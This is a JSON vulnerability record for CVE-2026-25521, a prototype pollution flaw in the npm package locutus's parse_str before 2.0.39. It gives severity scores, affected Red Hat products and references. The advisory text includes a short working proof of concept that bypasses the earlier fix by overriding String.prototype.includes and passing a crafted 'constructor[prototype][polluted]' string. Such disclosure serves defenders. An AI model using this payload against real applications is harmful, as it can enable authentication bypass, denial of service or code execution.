{"id":"CVE-2026-25521","aliases":["CVE-2026-25521","GHSA-rxrv-835q-v5mh"],"related":[],"kind":"vulnerability","state":"published","title":"Locutus is vulnerable to Prototype Pollution","summary":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. In versions from 2.0.12 to before 2.0.39, a prototype pollution vulnerability exists in locutus. Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue has been patched in version 2.0.39.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Prototype Pollution vulnerability exists in the the npm package locutus (>2.0.12). Despite a previous fix that attempted to mitigate Prototype Pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype. This issue was fixed in version 2.0.39.\n\n### Details\nThe vulnerability resides in line 77 to 79 of https://github.com/locutusjs/locutus/blob/main/src/php/strings/parse_str.js where includes() function is used to check whether user provided input contain forbidden strings.\n\n### PoC\n\n#### Steps to reproduce\n1. Install latest version of locutus using npm install or cloning from git\n2. Run the following code snippet:\n\n```javascript\nString.prototype.includes = () => false;      \nconsole.log({}.polluted);\nconst locutus = require('locutus');\nlocutus.php.strings.parse_str('constructor[prototype][polluted]=yes');\nconsole.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and Prototype Pollution occurred\n```\n\n#### Expected behavior\nPrototype Pollution should be prevented and {} should not gain new properties.\nThis should be printed on the console:\n```\nundefined\nundefined OR throw an Error\n```\n\n#### Actual behavior\nObject.prototype is polluted\nThis is printed on the console:\n```\nundefined \nyes\n```\n\n### Impact\nThis is a Prototype Pollution vulnerability, which can have severe security implications depending on how locutus is used by downstream applications. Any application that processes attacker-controlled input using this `locutus.php.strings.parse_str` may be affected. It could potentially lead to the following problems:\n1. Authentication bypass\n2. Denial of service\n3. Remote code execution (if polluted property is passed to sinks like eval or child_process)","format":"markdown","source":"ghsa"},{"lang":"es","text":"Locutus incorpora librerías estándar de otros lenguajes de programación a JavaScript con fines educativos. En las versiones desde la 2.0.12 hasta antes de la 2.0.39, existe una vulnerabilidad de contaminación de prototipos en Locutus. A pesar de una corrección anterior que intentó mitigar la contaminación de prototipos verificando si la entrada del usuario contenía una clave prohibida, todavía es posible contaminar Object.prototype mediante una entrada manipulada utilizando String.prototype. Este problema ha sido corregido en la versión 2.0.39.","source":"nvd"}],"published":"2026-02-02T22:21:54.000Z","modified":"2026-10-05T15:45:04.416Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"rating":"CRITICAL"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-915","CWE-1321"],"affected":[{"ranges":[{"version":">= 2.0.12, < 2.0.39","status":"affected"}],"vendor":"locutusjs","product":"locutus","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch6-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-operator-bundle","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-proxy-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/elasticsearch-rhel9-operator","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/kibana6-rhel8","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","package":"openshift-logging/logging-curator5-rhel9","cpe":"cpe:/a:redhat:logging:5","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.0.12","status":"affected","fixed":"2.0.39"}],"ecosystem":"npm","package":"locutus","purl":"pkg:npm/locutus","source":"ghsa"},{"ranges":[{"status":"affected","introduced":"2.0.12","fixed":"2.0.39"}],"vendor":"locutus","product":"locutus","cpe":"cpe:2.3:a:locutus:locutus:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-rxrv-835q-v5mh","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/locutusjs/locutus/commit/042af9ca7fde2ff599120783e720a17f335bb01c","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25521","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2436950","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25521.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25521","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/locutusjs/locutus","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"total","date":"2026-02-05T14:23:07.184Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25521","url":"https://www.cve.org/CVERecord?id=CVE-2026-25521","licence":"CVE Terms of Use","modified":"2026-07-15T02:49:16.910Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rxrv-835q-v5mh","url":"https://github.com/advisories/GHSA-rxrv-835q-v5mh","licence":"CC-BY-4.0","modified":"2026-10-05T15:45:04.416Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25521","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25521","licence":"Public domain","modified":"2026-07-15T02:18:53.903Z"}],"updatedAt":"2026-11-25T22:59:13.508Z","epss":{"score":0.00314,"percentile":0.26295,"date":"2026-12-01T12:00:22.000Z"}}